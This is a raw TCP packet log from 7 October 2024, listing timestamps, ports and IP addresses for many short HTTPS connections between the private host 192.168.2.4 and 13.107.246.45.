Oct 7, 2024 03:15:56.811973095 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.812005043 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.812064886 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.812067986 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.812114000 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.812295914 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.812315941 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.812330008 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.812335968 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.814824104 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.814882040 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.815114021 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.815932989 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.815957069 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.816070080 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.816306114 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.816318989 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.816740990 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.816755056 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.816767931 CEST	49744	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.816773891 CEST	443	49744	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.819653034 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.819689035 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.819789886 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.820027113 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.820039988 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.821192980 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.821217060 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.821268082 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.821293116 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.821485996 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.821508884 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.821527958 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.821546078 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.821552038 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.821583033 CEST	49745	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.821587086 CEST	443	49745	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.824659109 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.824670076 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:56.824737072 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.824855089 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:56.824863911 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.407691956 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.408704996 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.408719063 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.409302950 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.409307957 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.466680050 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.475024939 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.475060940 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.475805998 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.475821018 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.477585077 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.477911949 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.477931023 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.478296041 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.478305101 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.485089064 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.485799074 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.485830069 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.486224890 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.486232996 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.497173071 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.497976065 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.498002052 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.498488903 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.498497963 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.507491112 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.507561922 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.507625103 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.507989883 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.508011103 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.508023977 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.508028984 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.511122942 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.511163950 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.511241913 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.511373997 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.511389971 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.573259115 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.573326111 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.573537111 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.573739052 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.573766947 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.573782921 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.573790073 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.577599049 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.577657938 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.577779055 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.577987909 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.578001976 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.580472946 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.580539942 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.580606937 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.580811024 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.580832958 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.580843925 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.580851078 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.583465099 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.583499908 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.583594084 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.583753109 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.583766937 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.589320898 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.589473009 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.589545965 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.589617968 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.589634895 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.589653969 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.589659929 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.592052937 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.592102051 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.592190027 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.592324972 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.592344046 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.601958990 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.602027893 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.602094889 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.602278948 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.602302074 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.602315903 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.602322102 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.605202913 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.605241060 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:57.605333090 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.605473995 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:57.605498075 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.216185093 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.216995955 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.217029095 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.217461109 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.217468023 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.237493992 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.238076925 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.238421917 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.238466978 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.238488913 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.238507986 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.238878965 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.238888979 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.239003897 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.239011049 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.253489017 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.254067898 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.254086018 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.254519939 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.254524946 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.315217972 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.315283060 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.315359116 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.315638065 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.315660954 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.315674067 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.315679073 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.318768024 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.318808079 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.318886995 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.319051981 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.319066048 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.337964058 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.338021994 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.338048935 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.338123083 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.338197947 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.338252068 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.338308096 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.338327885 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.338341951 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.338346958 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.338452101 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.338463068 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.338474035 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.338479042 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.341300011 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.341316938 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.341384888 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.341737032 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.341751099 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.342323065 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.342348099 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.342415094 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.342514038 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.342525005 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.357106924 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.357175112 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.357265949 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.357589960 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.357606888 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.357646942 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.357652903 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.360227108 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.360241890 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.360320091 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.360435963 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.360443115 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.971822023 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.972552061 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.972584963 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.972970009 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.972975969 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.979945898 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.980299950 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.980319977 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.980654001 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.980659008 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.991508007 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.991837978 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.991847038 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:58.992301941 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:58.992305994 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.005167007 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.005537033 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.005548954 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.005989075 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.005995035 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.079365015 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.079420090 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.079552889 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.080305099 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.080322981 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.080334902 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.080348015 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.081355095 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.081506014 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.081573009 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.081633091 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.081655979 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.081665993 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.081671953 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.083260059 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.083287001 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.083380938 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.083518982 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.083529949 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.083611965 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.083617926 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.083677053 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.083755970 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.083765030 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.090914965 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.090991974 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.091162920 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.091197014 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.091203928 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.091239929 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.091243982 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.093419075 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.093451023 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.093516111 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.093626022 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.093637943 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.104712009 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.104854107 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.104923964 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.104971886 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.104985952 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.105000019 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.105005980 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.107367039 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.107404947 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.107470036 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.107569933 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.107585907 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.717231989 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.719362020 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.719393969 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.719940901 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.719945908 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.721132040 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.721457958 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.721462965 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.723927975 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.723932028 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.754476070 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.769270897 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.803754091 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.812194109 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.812199116 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.813426018 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.813441038 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.814214945 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.814227104 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.815313101 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.815316916 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.816713095 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.816766024 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.816894054 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.817084074 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.817084074 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.817094088 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.817101955 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.820271015 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.820346117 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.820395947 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.820486069 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.820489883 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.827768087 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.827821970 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.827891111 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.828236103 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.828253031 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.830029964 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.830056906 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.830121994 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.830451965 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.830461979 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.912142038 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.912204981 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.912296057 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.917721033 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.917721033 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.917740107 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.917748928 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.923974991 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.924031973 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.924077988 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.926089048 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.926106930 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.926137924 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.926143885 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.946538925 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.946571112 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.946861982 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.954683065 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.954718113 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.954799891 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.955040932 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.955059052 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:15:59.958723068 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:15:59.958734989 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.474133968 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.474704981 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.474740028 CEST	443	49766	13.107.246.45	192.168.2.4
